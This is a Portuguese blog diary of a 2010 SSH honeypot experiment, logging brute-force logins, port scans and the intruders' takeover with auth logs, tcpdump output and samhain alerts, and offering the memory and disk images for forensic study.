Povo de Deus, Novamente temos uma máquina no ar, desde 18:40h, realizando a mesma tarefa descrita no post “Assistindo a uma invasão de rede de camarote…“. A diferença é que, desta vez, pretendo disponibilizar o dump de memória e já estou escrevendo um wiki que ensina preparar o mesmo ambiente que eu fiz. Agora é esperar os acontecimentos…
Dia 03 ago. 2010
18:40 h
- Máquina no ar!!
Dia 04 ago. 2010
06:26 h
- Até agora o samhain não enviou qualquer mensagem. Tudo calmo. Isso pode ocorrer pelo fato do meu range de IPs talvez não ter sido scaneado pelos robôs (bots) da Internet ainda. Daqui a pouco estarei junto à máquina e direi o que ocorreu em termos de tráfego de rede. Não quero entrar nela para olhar. Vai contaminar o ambiente. Mas é fato que algo vai ocorrer. Mesmo que demore dias. Vamos esperar como se fôssemos pescadores…
06:35 h
- Opa! Nova análise. Entrei na máquina base, remotamente (isso não contamina a real) e vi, nas gravações tcpdump, que houve movimento ssh a partir das 22:35 h. Então, o samhain não acusou nada ou porque foi morto com kill -9 ou porque não houve alterações na máquina. Vou tentar colher agora o log /var/log/auth.log por scp para dar uma olhada sem contaminar muito a máquina.
- Colhi o log. A senha ainda é a mesma. Vejam:
Aug 4 00:01:29 server sshd[1141]: Invalid user Benutzer from 98.173.22.178
- Na linha anterior já houve uma tentativa de entrada a partir dos USA. Esse camarada fez tentativas até as 00:11 h mas não chegou a entrar. Foram 32 tentativas em cerca de 10 minutos. Depois veio:
Aug 4 02:29:12 server sshd[1511]: Failed password for root from 61.129.86.186 port 65487 ssh2
- Agora veio da China. Foram 5 tentativas em 1 minuto mas também não entrou. Vamos aguardar. O que acontecerá durante o dia?
09:10 h
- Já no local onde está a máquina. Acabo de fazer um dump de memória, externamente, via Xen. Analisei os logs (dentro da memória) e não há novidades. O samhain também permanece quieto. Sabemos que agora é noite no hemisfério oriental e daqui a pouco será madrugada. Talvez algo ocorra. Mas um fato marcante é que ainda não houve um ataque ssh de força bruta (do tipo tentativa em massa de logins) por nenhum bot. Temos que esperar…
09:40 h
- Estou notando no Iptraf que está rodando na máquina real a ocorrência de alguns pings (ICMP Echo Request). Assim, acabo de fazer um levantamento disso no arquivo que está sendo gravado pelo tcpdump. O resultado (mostrando somente até o IP de origem):
2010-08-03 19:11:45.040983 IP 220.76.200.59 2010-08-03 19:11:45.365377 IP 220.76.200.59 2010-08-03 19:14:49.230188 IP 192.168.100.20 2010-08-03 19:22:17.485984 IP 200.252.13.18 2010-08-03 19:27:26.205297 IP 60.195.124.238 2010-08-03 19:27:26.601530 IP 60.195.124.238 2010-08-03 20:22:20.046507 IP 189.107.24.115 2010-08-03 21:31:46.417342 IP 200.252.61.5 2010-08-03 23:06:29.001721 IP 200.252.67.194 2010-08-03 23:39:52.022671 IP 200.252.59.194 2010-08-04 01:01:48.582544 IP 200.252.55.9 2010-08-04 01:06:26.379342 IP 200.252.16.180 2010-08-04 03:39:29.641986 IP 61.251.176.29 2010-08-04 03:39:30.015736 IP 61.251.176.29 2010-08-04 06:09:36.519864 IP 68.169.176.89 2010-08-04 06:09:36.683012 IP 68.169.176.89 2010-08-04 06:41:36.830823 IP 80.183.103.193 2010-08-04 06:41:37.136954 IP 80.183.103.193 2010-08-04 07:33:28.368651 IP 200.252.76.101 2010-08-04 08:31:13.581548 IP 119.175.16.243 2010-08-04 08:31:13.947929 IP 119.175.16.243 2010-08-04 09:21:37.754272 IP 63.81.251.30 2010-08-04 09:21:39.806937 IP 63.81.251.30 2010-08-04 09:31:37.037950 IP 200.252.130.65
10:20 h
- Só para ter uma ideia de máquinas Windows com vírus ou coisas correlatas, decidi ver os TCP resets emitidos. Veja a listagem até agora:
2010-08-03 19:04:33.674752 IP 201.240.72.50.3126 > x.x.x.x.23: [S] 2010-08-03 19:04:33.674884 IP x.x.x.x.23 > 201.240.72.50.3126: [R.] 2010-08-03 19:04:48.592490 IP 41.145.25.77.4688 > x.x.x.x.23: [S] 2010-08-03 19:04:48.592607 IP x.x.x.x.23 > 41.145.25.77.4688: [R.] 2010-08-03 19:22:17.514418 IP 200.252.13.18.1070 > x.x.x.x.445: [S] 2010-08-03 19:22:17.514532 IP x.x.x.x.445 > 200.252.13.18.1070: [R.] 2010-08-03 19:22:17.514664 IP 200.252.13.18.63371 > x.x.x.x.139: [S] 2010-08-03 19:22:17.514775 IP x.x.x.x.139 > 200.252.13.18.1071: [R.] 2010-08-03 19:22:17.514800 IP x.x.x.x.139 > 200.252.13.18.63371: [R.] 2010-08-03 19:22:17.859811 IP 200.252.13.18.63371 > x.x.x.x.139: [S] 2010-08-03 19:22:17.859922 IP x.x.x.x.139 > 200.252.13.18.1071: [R.] 2010-08-03 19:22:17.859949 IP x.x.x.x.139 > 200.252.13.18.63371: [R.] 2010-08-03 19:22:17.875350 IP 200.252.13.18.1070 > x.x.x.x.445: [S] 2010-08-03 19:22:17.875465 IP x.x.x.x.445 > 200.252.13.18.1070: [R.] 2010-08-03 19:22:18.406396 IP 200.252.13.18.1071 > x.x.x.x.139: [S] 2010-08-03 19:22:18.406510 IP x.x.x.x.139 > 200.252.13.18.1071: [R.] 2010-08-03 19:22:18.422025 IP 200.252.13.18.63371 > x.x.x.x.139: [S] 2010-08-03 19:22:18.422162 IP x.x.x.x.139 > 200.252.13.18.63371: [R.] 2010-08-03 19:22:18.531637 IP 200.252.13.18.1070 > x.x.x.x.445: [S] 2010-08-03 19:22:18.531859 IP x.x.x.x.445 > 200.252.13.18.1070: [R.] 2010-08-03 19:27:26.990938 IP 60.195.124.238.53364 > x.x.x.x.139: [S] 2010-08-03 19:27:26.991057 IP x.x.x.x.139 > 60.195.124.238.53364: [R.] 2010-08-03 19:27:27.806026 IP 60.195.124.238.53364 > x.x.x.x.139: [S] 2010-08-03 19:27:27.806141 IP x.x.x.x.139 > 60.195.124.238.53364: [R.] 2010-08-03 19:27:28.607119 IP 60.195.124.238.53364 > x.x.x.x.139: [S] 2010-08-03 19:27:28.607214 IP x.x.x.x.139 > 60.195.124.238.53364: [R.] 2010-08-03 19:27:32.993421 IP 60.195.124.238.53995 > x.x.x.x.445: [S] 2010-08-03 19:27:32.993537 IP x.x.x.x.445 > 60.195.124.238.53995: [R.] 2010-08-03 19:27:35.917854 IP 60.195.124.238.53995 > x.x.x.x.445: [S] 2010-08-03 19:27:35.917967 IP x.x.x.x.445 > 60.195.124.238.53995: [R.] 2010-08-03 20:22:20.266544 IP 189.107.24.115.12602 > x.x.x.x.445: [S] 2010-08-03 20:22:20.266697 IP x.x.x.x.445 > 189.107.24.115.12602: [R.] 2010-08-03 20:22:20.731732 IP 189.107.24.115.12602 > x.x.x.x.445: [S] 2010-08-03 20:22:20.731973 IP x.x.x.x.445 > 189.107.24.115.12602: [R.] 2010-08-03 20:22:21.273379 IP 189.107.24.115.12602 > x.x.x.x.445: [S] 2010-08-03 20:22:21.273526 IP x.x.x.x.445 > 189.107.24.115.12602: [R.] 2010-08-03 23:18:00.219049 IP 58.215.79.84.6000 > x.x.x.x.9415: [S] 2010-08-03 23:18:00.219959 IP x.x.x.x.9415 > 58.215.79.84.6000: [R.] 2010-08-03 23:31:53.948650 IP 218.175.146.176.2089 > x.x.x.x.445: [S] 2010-08-03 23:31:53.952306 IP x.x.x.x.445 > 218.175.146.176.2089: [R.] 2010-08-03 23:31:55.869555 IP 218.175.146.176.2089 > x.x.x.x.445: [S] 2010-08-03 23:31:55.869645 IP x.x.x.x.445 > 218.175.146.176.2089: [R.] 2010-08-03 23:36:48.848734 IP 200.32.172.184.3883 > x.x.x.x.445: [S] 2010-08-03 23:36:48.848844 IP x.x.x.x.445 > 200.32.172.184.3883: [R.] 2010-08-03 23:36:51.707795 IP 200.32.172.184.3883 > x.x.x.x.445: [S] 2010-08-03 23:36:51.707886 IP x.x.x.x.445 > 200.32.172.184.3883: [R.] 2010-08-03 23:39:52.264355 IP 200.252.59.194.1609 > x.x.x.x.445: [S] 2010-08-03 23:39:52.264458 IP x.x.x.x.445 > 200.252.59.194.1609: [R.] 2010-08-03 23:39:52.267255 IP 200.252.59.194.1610 > x.x.x.x.139: [S] 2010-08-03 23:39:52.267345 IP x.x.x.x.139 > 200.252.59.194.1610: [R.] 2010-08-03 23:39:52.821223 IP 200.252.59.194.1610 > x.x.x.x.139: [S] 2010-08-03 23:39:52.821315 IP x.x.x.x.139 > 200.252.59.194.1610: [R.] 2010-08-03 23:39:52.825174 IP 200.252.59.194.1609 > x.x.x.x.445: [S] 2010-08-03 23:39:52.825264 IP x.x.x.x.445 > 200.252.59.194.1609: [R.] 2010-08-03 23:39:53.604568 IP 200.252.59.194.1610 > x.x.x.x.139: [S] 2010-08-03 23:39:53.604734 IP x.x.x.x.445 > 200.252.59.194.1609: [R.] 2010-08-03 23:39:53.604761 IP x.x.x.x.139 > 200.252.59.194.1610: [R.] 2010-08-03 23:53:27.337014 IP 41.250.160.206.4127 > x.x.x.x.23: [S] 2010-08-03 23:53:27.340306 IP x.x.x.x.23 > 41.250.160.206.4127: [R.] 2010-08-03 23:58:38.434406 IP 222.186.25.143.6000 > x.x.x.x.9415: [S] 2010-08-03 23:58:38.434513 IP x.x.x.x.9415 > 222.186.25.143.6000: [R.] 2010-08-04 00:06:00.316734 IP 58.215.79.202.6000 > x.x.x.x.9415: [S] 2010-08-04 00:06:00.316832 IP x.x.x.x.9415 > 58.215.79.202.6000: [R.] 2010-08-04 00:08:21.859852 IP 196.204.141.8.3970 > x.x.x.x.1433: [S] 2010-08-04 00:08:21.859959 IP x.x.x.x.1433 > 196.204.141.8.3970: [R.] 2010-08-04 00:08:22.510285 IP 196.204.141.8.3970 > x.x.x.x.1433: [S] 2010-08-04 00:08:22.510378 IP x.x.x.x.1433 > 196.204.141.8.3970: [R.] 2010-08-04 00:08:23.275186 IP 196.204.141.8.3970 > x.x.x.x.1433: [S] 2010-08-04 00:08:23.275353 IP x.x.x.x.1433 > 196.204.141.8.3970: [R.] 2010-08-04 00:11:35.799521 IP 217.219.23.166.3094 > x.x.x.x.445: [S] 2010-08-04 00:11:35.799617 IP x.x.x.x.445 > 217.219.23.166.3094: [R.] 2010-08-04 00:47:12.982595 IP 218.56.160.61.2477 > x.x.x.x.4899: [S] 2010-08-04 00:47:12.984326 IP x.x.x.x.4899 > 218.56.160.61.2477: [R.] 2010-08-04 00:47:13.836599 IP 218.56.160.61.2477 > x.x.x.x.4899: [S] 2010-08-04 00:47:13.836691 IP x.x.x.x.4899 > 218.56.160.61.2477: [R.] 2010-08-04 00:47:14.643027 IP 218.56.160.61.2477 > x.x.x.x.4899: [S] 2010-08-04 00:47:14.643184 IP x.x.x.x.4899 > 218.56.160.61.2477: [R.] 2010-08-04 01:01:48.713103 IP 200.252.55.9.62558 > x.x.x.x.445: [S] 2010-08-04 01:01:48.713197 IP x.x.x.x.445 > 200.252.55.9.62558: [R.] 2010-08-04 01:01:48.714286 IP 200.252.55.9.62559 > x.x.x.x.139: [S] 2010-08-04 01:01:48.714401 IP x.x.x.x.139 > 200.252.55.9.62559: [R.] 2010-08-04 01:01:48.715810 IP 200.252.55.9.62560 > x.x.x.x.139: [S] 2010-08-04 01:01:48.715897 IP x.x.x.x.139 > 200.252.55.9.62560: [R.] 2010-08-04 01:01:49.190492 IP 200.252.55.9.62560 > x.x.x.x.139: [S] 2010-08-04 01:01:49.190583 IP x.x.x.x.139 > 200.252.55.9.62560: [R.] 2010-08-04 01:01:49.192387 IP 200.252.55.9.62558 > x.x.x.x.445: [S] 2010-08-04 01:01:49.192476 IP x.x.x.x.445 > 200.252.55.9.62558: [R.] 2010-08-04 01:01:49.737738 IP 200.252.55.9.62560 > x.x.x.x.139: [S] 2010-08-04 01:01:49.737840 IP x.x.x.x.139 > 200.252.55.9.62560: [R.] 2010-08-04 01:01:49.738908 IP 200.252.55.9.62558 > x.x.x.x.445: [S] 2010-08-04 01:01:49.739025 IP x.x.x.x.445 > 200.252.55.9.62558: [R.] 2010-08-04 01:01:51.597553 IP 200.252.55.9.62559 > x.x.x.x.139: [S] 2010-08-04 01:01:51.597643 IP x.x.x.x.139 > 200.252.55.9.62559: [R.] 2010-08-04 01:01:57.617015 IP 200.252.55.9.62559 > x.x.x.x.139: [S] 2010-08-04 01:01:57.617148 IP x.x.x.x.139 > 200.252.55.9.62559: [R.] 2010-08-04 01:06:32.120233 IP 200.252.16.180.20029 > x.x.x.x.445: [S] 2010-08-04 01:06:32.120327 IP x.x.x.x.445 > 200.252.16.180.20029: [R.] 2010-08-04 01:06:32.120595 IP 200.252.16.180.20030 > x.x.x.x.139: [S] 2010-08-04 01:06:32.120683 IP x.x.x.x.139 > 200.252.16.180.20030: [R.] 2010-08-04 01:06:32.671419 IP 200.252.16.180.20030 > x.x.x.x.139: [S] 2010-08-04 01:06:32.671509 IP x.x.x.x.139 > 200.252.16.180.20030: [R.] 2010-08-04 01:06:32.671920 IP 200.252.16.180.20029 > x.x.x.x.445: [S] 2010-08-04 01:06:32.672008 IP x.x.x.x.445 > 200.252.16.180.20029: [R.] 2010-08-04 01:06:33.108411 IP 200.252.16.180.20030 > x.x.x.x.139: [S] 2010-08-04 01:06:33.108526 IP x.x.x.x.139 > 200.252.16.180.20030: [R.] 2010-08-04 01:06:33.109059 IP 200.252.16.180.20029 > x.x.x.x.445: [S] 2010-08-04 01:06:33.109168 IP x.x.x.x.445 > 200.252.16.180.20029: [R.] 2010-08-04 02:13:04.460384 IP 58.57.9.44.6000 > x.x.x.x.3389: [S] 2010-08-04 02:13:04.460596 IP x.x.x.x.3389 > 58.57.9.44.6000: [R.] 2010-08-04 02:36:32.697229 IP 220.226.18.10.6000 > x.x.x.x.1433: [S] 2010-08-04 02:36:32.704499 IP x.x.x.x.1433 > 220.226.18.10.6000: [R.] 2010-08-04 03:16:03.154845 IP 59.94.130.220.9989 > x.x.x.x.139: [S] 2010-08-04 03:16:03.156371 IP x.x.x.x.139 > 59.94.130.220.9989: [R.] 2010-08-04 03:16:10.370418 IP 59.94.130.220.9989 > x.x.x.x.139: [S] 2010-08-04 03:16:10.370508 IP x.x.x.x.139 > 59.94.130.220.9989: [R.] 2010-08-04 03:39:30.377836 IP 61.251.176.29.3040 > x.x.x.x.139: [S] 2010-08-04 03:39:30.377930 IP x.x.x.x.139 > 61.251.176.29.3040: [R.] 2010-08-04 03:39:31.129670 IP 61.251.176.29.3040 > x.x.x.x.139: [S] 2010-08-04 03:39:31.129762 IP x.x.x.x.139 > 61.251.176.29.3040: [R.] 2010-08-04 03:39:32.016606 IP 61.251.176.29.3040 > x.x.x.x.139: [S] 2010-08-04 03:39:32.016710 IP x.x.x.x.139 > 61.251.176.29.3040: [R.] 2010-08-04 03:51:01.001740 IP 124.172.159.228.6000 > x.x.x.x.9415: [S] 2010-08-04 03:51:01.003497 IP x.x.x.x.9415 > 124.172.159.228.6000: [R.] 2010-08-04 03:56:48.153734 IP 74.208.197.77.4763 > x.x.x.x.5900: [S] 2010-08-04 03:56:48.156272 IP x.x.x.x.5900 > 74.208.197.77.4763: [R.] 2010-08-04 03:56:48.843364 IP 74.208.197.77.4763 > x.x.x.x.5900: [S] 2010-08-04 03:56:48.843457 IP x.x.x.x.5900 > 74.208.197.77.4763: [R.] 2010-08-04 03:56:49.389654 IP 74.208.197.77.4763 > x.x.x.x.5900: [S] 2010-08-04 03:56:49.389789 IP x.x.x.x.5900 > 74.208.197.77.4763: [R.] 2010-08-04 04:45:46.099151 IP 78.183.144.144.2131 > x.x.x.x.23: [S] 2010-08-04 04:45:46.100313 IP x.x.x.x.23 > 78.183.144.144.2131: [R.] 2010-08-04 05:10:18.061284 IP 118.168.134.220.1082 > x.x.x.x.3128: [S] 2010-08-04 05:10:18.063497 IP x.x.x.x.3128 > 118.168.134.220.1082: [R.] 2010-08-04 05:10:18.860405 IP 118.168.134.220.1082 > x.x.x.x.3128: [S] 2010-08-04 05:10:18.860497 IP x.x.x.x.3128 > 118.168.134.220.1082: [R.] 2010-08-04 05:10:19.727480 IP 118.168.134.220.1082 > x.x.x.x.3128: [S] 2010-08-04 05:10:19.727568 IP x.x.x.x.3128 > 118.168.134.220.1082: [R.] 2010-08-04 06:09:36.842784 IP 68.169.176.89.29467 > x.x.x.x.139: [S] 2010-08-04 06:09:36.842943 IP x.x.x.x.139 > 68.169.176.89.29467: [R.] 2010-08-04 06:09:37.489436 IP 68.169.176.89.29467 > x.x.x.x.139: [S] 2010-08-04 06:09:37.489527 IP x.x.x.x.139 > 68.169.176.89.29467: [R.] 2010-08-04 06:09:38.091033 IP 68.169.176.89.29467 > x.x.x.x.139: [S] 2010-08-04 06:09:38.091125 IP x.x.x.x.139 > 68.169.176.89.29467: [R.] 2010-08-04 06:09:42.849257 IP 68.169.176.89.30144 > x.x.x.x.445: [S] 2010-08-04 06:09:42.849350 IP x.x.x.x.445 > 68.169.176.89.30144: [R.] 2010-08-04 06:09:43.498862 IP 68.169.176.89.30144 > x.x.x.x.445: [S] 2010-08-04 06:09:43.498952 IP x.x.x.x.445 > 68.169.176.89.30144: [R.] 2010-08-04 06:09:44.097595 IP 68.169.176.89.30144 > x.x.x.x.445: [S] 2010-08-04 06:09:44.097685 IP x.x.x.x.445 > 68.169.176.89.30144: [R.] 2010-08-04 06:41:37.440980 IP 80.183.103.193.41973 > x.x.x.x.139: [S] 2010-08-04 06:41:37.441075 IP x.x.x.x.139 > 80.183.103.193.41973: [R.] 2010-08-04 06:41:38.250208 IP 80.183.103.193.41973 > x.x.x.x.139: [S] 2010-08-04 06:41:38.250299 IP x.x.x.x.139 > 80.183.103.193.41973: [R.] 2010-08-04 06:41:38.947670 IP 80.183.103.193.41973 > x.x.x.x.139: [S] 2010-08-04 06:41:38.947761 IP x.x.x.x.139 > 80.183.103.193.41973: [R.] 2010-08-04 06:41:43.441575 IP 80.183.103.193.42716 > x.x.x.x.445: [S] 2010-08-04 06:41:43.441665 IP x.x.x.x.445 > 80.183.103.193.42716: [R.] 2010-08-04 06:41:44.169465 IP 80.183.103.193.42716 > x.x.x.x.445: [S] 2010-08-04 06:41:44.169552 IP x.x.x.x.445 > 80.183.103.193.42716: [R.] 2010-08-04 06:41:44.962688 IP 80.183.103.193.42716 > x.x.x.x.445: [S] 2010-08-04 06:41:44.962779 IP x.x.x.x.445 > 80.183.103.193.42716: [R.] 2010-08-04 07:33:49.605152 IP 200.252.76.101.62341 > x.x.x.x.445: [S] 2010-08-04 07:33:49.605250 IP x.x.x.x.445 > 200.252.76.101.62341: [R.] 2010-08-04 07:33:49.605824 IP 200.252.76.101.62342 > x.x.x.x.139: [S] 2010-08-04 07:33:49.605911 IP x.x.x.x.139 > 200.252.76.101.62342: [R.] 2010-08-04 07:33:49.606176 IP 200.252.76.101.62343 > x.x.x.x.139: [S] 2010-08-04 07:33:49.606261 IP x.x.x.x.139 > 200.252.76.101.62343: [R.] 2010-08-04 07:33:50.086681 IP 200.252.76.101.62342 > x.x.x.x.139: [S] 2010-08-04 07:33:50.086772 IP x.x.x.x.139 > 200.252.76.101.62342: [R.] 2010-08-04 07:33:50.087365 IP 200.252.76.101.62341 > x.x.x.x.445: [S] 2010-08-04 07:33:50.087452 IP x.x.x.x.445 > 200.252.76.101.62341: [R.] 2010-08-04 07:33:50.524591 IP 200.252.76.101.62342 > x.x.x.x.139: [S] 2010-08-04 07:33:50.524759 IP x.x.x.x.139 > 200.252.76.101.62342: [R.] 2010-08-04 07:33:50.524975 IP 200.252.76.101.62341 > x.x.x.x.445: [S] 2010-08-04 07:33:50.525062 IP x.x.x.x.445 > 200.252.76.101.62341: [R.] 2010-08-04 07:33:52.604693 IP 200.252.76.101.62343 > x.x.x.x.139: [S] 2010-08-04 07:33:52.604849 IP x.x.x.x.139 > 200.252.76.101.62343: [R.] 2010-08-04 07:33:58.727620 IP 200.252.76.101.62343 > x.x.x.x.139: [S] 2010-08-04 07:33:58.727711 IP x.x.x.x.139 > 200.252.76.101.62343: [R.] 2010-08-04 08:27:13.087499 IP 122.226.223.134.6000 > x.x.x.x.9415: [S] 2010-08-04 08:27:13.088122 IP x.x.x.x.9415 > 122.226.223.134.6000: [R.]
- Ao analisar a listagem anterior, lembre-se de que na máquina só há as portas 22 e 80 abertas para fora.
- Estou atento ao samhaim e ao Iptraf. Vamos esperar novidades mais concretas. Assim que tiver algo, posto aqui.
10:40 h
- Novidades. Movimento intenso no Iptraf. É alguém do nosso querido Brasil atancando com vontade. IP 187.50.126.38. Tudo indica que vem de São Paulo (conclusão via traceroute interrompido pela metade e whois). Mas esse IP já apareceu antes. Assim que ele terminar, posto algo aqui. Acho que não demora.
10:53 h
- Parece que terminou. Fiz dumps de memória seguidos para verificar os logs lá por dentro. Foram 18 minutos de tentativas. Isso rendeu 353 tentativas. Veja a primeira e a última linha:
Aug 4 10:30:02 server sshd[2359]: Failed password for root from 187.50.126.38 port 43061 ssh2
…
Aug 4 10:48:11 server sshd[3095]: Failed password for root from 187.50.126.38 port 60030 ssh2
11:07 h
- Entrou! (num bom sentido)
- No post das 10:53 h eu estava procurando apenas por logins com falha. Mas, olhando com mais cuidado agora, veja:
Aug 4 10:30:10 server sshd[2366]: Accepted password for root from 187.50.126.38 port 43338 ssh2
- Ou seja: esse cara tem um bot e ainda não viu que o mesmo conseguiu coletar a senha de root correta. Com certeza, mais tarde, ele vai ver e atuar. Isso se não estiver acompanhando estes posts! 🙂
- O pior é que é um robô burro, porque conseguiu a senha no primeiro minuto e continuou tentando. 😀
11:37 h
- Perguntas? Vão fazendo que eu vou olhando tráfego, memória etc. e vou respondendo.
12:35 h
- Tudo calmo…
14:06 h
- Um scan agora há pouco.
Aug 4 14:03:01 server sshd[3383]: Did not receive identification string from 200.161.99.38
14:30 h
- Para o Paulo (veja lá em baixo nos comentários): uma foto do Iptraf em ação.
17:55 h
- Bem, foi uma tarde calma e serena. Podemos concluir algo até aqui: quartas-feiras são dias bem seguros. Ninguém nunca lhe atacará. Nem quem já tem a sua senha de root. Bom, de noite darei uma olhadinha na situação e, havendo novidades, informo aqui. T+
22:10 h
- Nenhuma novidade. Vou dormir. Amanhã voltarei a monitorar a situação. Vamos ver se acontece algo na madrugada. []s a todos!
Dia 05 ago. 2010
06:25 h
- Bom dia a todos! Há pouco o milagre da vida aconteceu novamente. Veio da China. Vejam:
Aug 5 05:36:29 server sshd[4743]: Failed password for root from 219.143.125.205 port 54497 ssh2
Aug 5 05:36:35 server sshd[4746]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=219.143.125.205 user=root
Aug 5 05:36:37 server sshd[4746]: Failed password for root from 219.143.125.205 port 54843 ssh2
Aug 5 05:36:42 server sshd[4748]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=219.143.125.205 user=root
Aug 5 05:36:45 server sshd[4748]: Failed password for root from 219.143.125.205 port 55161 ssh2
Aug 5 05:36:50 server sshd[4750]: Accepted password for root from 219.143.125.205 port 55493 ssh2
- Bem, até agora o samhain está quieto. Isso quer dizer que ele entrou mas nada fez de relevante. Então, como ainda está anoitecendo na China, creio que mais tarde as coisas irão esquentar. Vamos esperar mais uma vez… Mas o samhain está funcionando. Vejam o último log dele na memória:
INFO : [2010-08-05T04:46:15-0300] msg=<Checking>, path=</etc/samhain>
- Ele ainda não enviou nada porque a sua configuração default é enviar somente eventos do nível CRIT. Volto mais tarde com novas notícias.
11:05 h
- Bem, ninguém entrou efetivamente ainda. Mas vários fizeram scaneamento com nmap e similares. O nmap, no modo normal de operação (TCP scan), envia uma flag TCP Syn para a porta. Se ela responder com Syn/Ack é porque está aberta. Então, para evitar ser logado, o nmap envia um Rst para a porta.
- Até o presente momento, a nossa porta 22 recebeu 133 resets de 12 máquinas diferentes. A seguir, a lista das máquinas que fizeram isso (fora as máquinas que adotaram outros tipos de procedimentos):
61.129.86.186: CN, China
91.188.59.62: LV, Latvia
94.138.164.155: IT, Italy
95.0.85.118: TR, Turkey
98.173.22.178: US, United States
115.165.163.55: VN, Vietnam
123.150.196.38: CN, China
124.31.204.185: CN, China
187.50.126.38: BR, Brazil
200.161.99.38: BR, Brazil
202.201.14.252: CN, China
219.143.125.205: CN, China
20:45 h
- Boa noite pessoal. Não tivemos grandes novidades hoje. No entanto, mais uma máquina da China conseguiu o acesso à máquina. No entanto, não houve atuação da mesma, o que nos leva a crer que era mais um bot com um dono (ser humano) desatento. Veja:
Aug 5 13:44:00 server sshd[5578]: Accepted password for root from 61.164.108.149 port 51914 ssh2
- O bot scaneou a rede por 16 minutos, até obter êxito. Foram 115 tentativas até o sucesso.
- Será que a noite será promissora? Bem, se for, saberemos amanhã.
Dia 06 ago. 2010
09:30 h
- Bom dia a todos! Desculpem o atraso. As coisas estão meio complicadas. Muitos contratempos de vida… Mas vamos às notícias.
- Ontem, depois das 23 h, mais duas máquinas conseguiram obter a senha do root. Vejam:
Aug 5 23:09:58 server sshd[6635]: Accepted password for root from 209.195.11.34 port 36680 ssh2 Aug 5 23:28:10 server sshd[6686]: Accepted password for root from 95.104.114.44 port 20370 ssh2
- A máquina 209.195.11.34 (USA) fez 13 tentativas até chegar à senha. Foi cerca de 1 minuto de tentativas.
- A máquina 95.104.114.44 (Geórgia) foi mais interessante. Ela entrou de primeira. Tudo leva a crer que alguém já colheu a senha em algum bot e a divulgou ou, se não, fez uma ponte pela Geórgia. Ou, ainda, tinha feito uma ponte partindo da Geórgia e passando por outro lugar anteriormente.
- Bem, o fato é que podem até ter entrado e navegado lá dentro. Mas, até agora, ninguém modificou nada, pois o samhain acusaria. E ele ainda está no ar, operando normalmente. Vejam a última mensagem dele que colhi no dump de memória:
INFO : [2010-08-06T08:49:37-0300] msg=<Checking>, path=</var/run/utmp>
- No mais, hoje é sexta-feira, dia internacional da invasão. Será que rola hoje?
11:55 h
- Entraram! Estão conversando lá dentro conectados a IRC. Vou publicar a conversa já já.
12:03 h
- Estão procurando portas 22 abertas na rede 86.0.0.0/8 a partir da máquina. A máquina virou um bot!!!
12:28 h
- A conversa (da 11:42 h às 12:27): http://www.eriberto.pro.br/files/chat_06ago_1142_1227.gz
- Daqui a pouco coloco mais novidades.
12:50 h
- Desculpem o desaparecimento. Perdi um pouco do controle da rede. Começaram a usar toda a banda. Fiquei sem Internet para mim. 🙂
- Para corrigir o problema, fiz um HTB para controlar o tráfego. Referências: http://www.eriberto.pro.br/palestras/controle_trafego.pdf .
- Vou almoçar voando e já volto. Ah, estão scaneando portas 22 na rede 94.0.0.0/8!
13:25 h
- De volta do almoço.
- Finalmente um e-mail do samhain! Vejam:
[2010-08-06T12:50:08-0300] server.projirradiante.com.br
CRIT : [2010-08-06T12:49:55-0300] msg=<POLICY [ReadOnly] C–I—-T->, path=</etc/shadow>, inode_old=<13300>, inode_new=<17168>, dev_old=<202,1>, dev_new=<202,1>, ctime_old=<[2010-08-03T21:34:30]>, ctime_new=<[2010-08-06T14:51:17]>, mtime_old=<[2010-08-03T21:34:30]>, mtime_new=<[2010-08-06T14:51:17]>, chksum_old=<4E3A8F642C54E0ABD1310A03A7BEFA954DC4EBEBA6349BB5>, chksum_new=<A91AC2692A353AD96F399F994CAE602A575CA16149CDDC36>,
- O arquivo /etc/shadow foi modificado. Ou seja: ou trocaram a a senha de algum usuário ou adicionaram um usuário. Mas se tivessem adicionado um usuário, o arquivo /etc/passwd também teria sido alterado. Vamos conferir se há algum log no dump de memória:
# strings memoria.dd |grep passwd|grep root
Aug 6 11:51:17 server passwd[17395]: pam_unix(passwd:chauthtok): password changed for root
- Agora, realmente, não sei dizer se o horário interno da máquina foi modificado também. Os horários parecem ter uma defasagem de 1 hora.
- Vamos ver tudo o que ocorreu entre 11:40 e 11:59 (exceto evntos corriqueiros de cron):
# strings memoria.dd |grep "Aug 6 11:[45]"|grep -v CRON|sort -n Aug 6 11:42:42 server crontab[17311]: (root) REPLACE (root) Aug 6 11:42:42 server crontab[17313]: (root) LIST (root) Aug 6 11:42:51 server crontab[17331]: (root) REPLACE (root) Aug 6 11:42:51 server crontab[17332]: (root) LIST (root) Aug 6 11:51:17 server passwd[17395]: pam_unix(passwd:chauthtok): password changed for root
- Ok! Bem, vamos em frente!
13:47 h
- As coisas aqui estão lentas. Muito tráfego e uso de CPU.
- Bem, eles já trocaram a senha de root, conectaram a chat, scanearam redes etc. Acho que está na hora de derrubar o server e disponibilizar a memória. O que acham? Respondam aqui…
14:52 h
- Terminado pessoal. Estavam fazendo ataques pesados e grande parte da memória foi tomada por listas de nomes de usuários e senhas (dicionários). Vou preparar tudo para download. Daqui a pouco estará disponível.
16:07 h – DOWNLOAD DA IMAGEM DA MEMÓRIA!
- Disponível o dump da memória RAM em http://www.eriberto.pro.br/forense/caso_03 (8.4 MBcomprimidos, 61 MB descomprimidos).
16:46
- Vai ser liberada a imagem do disco…
18:31 – DOWNLOAD DA IMAGEM DA PARTIÇÃO!
- Disponível a imagem da partição que continha a máquina virtual em http://www.eriberto.pro.br/forense/caso_03 (150 MBcomprimidos, 954 MB descomprimidos).
- Notem que foi utilizado swap em arquivo. Como a memória era pequena, muita coisa foi pagina em swap… 😉
Dia 07 ago. 2010
08:10 h
- Bom dia a todos! O nosso caso, mesmo encerrado, continua fazendo sucesso. Isso é ótimo.
- O Dicas-L publicou hoje um artigo meu sobre segurança SSH com fail2ban e samhain. Está disponível em http://dicas-l.com.br/arquivo/dando_mais_seguranca_ao_servico_ssh_com_fail2ban_e_samhain.php ou http://bit.ly/dicasl_ssh_fail2ban_samhain.
- Também esqueci de falar sobre o artigo no meu wiki ensinando a fazer a máquina isca, igual à que eu fiz. Não está pronto ainda. Mas pode ser visto em http://bit.ly/iscaforense. Já dá pra montar algo com o que já tem lá.
- Este será mais um caso disponível no meu wiki sobre forense (http://bit.ly/forense).
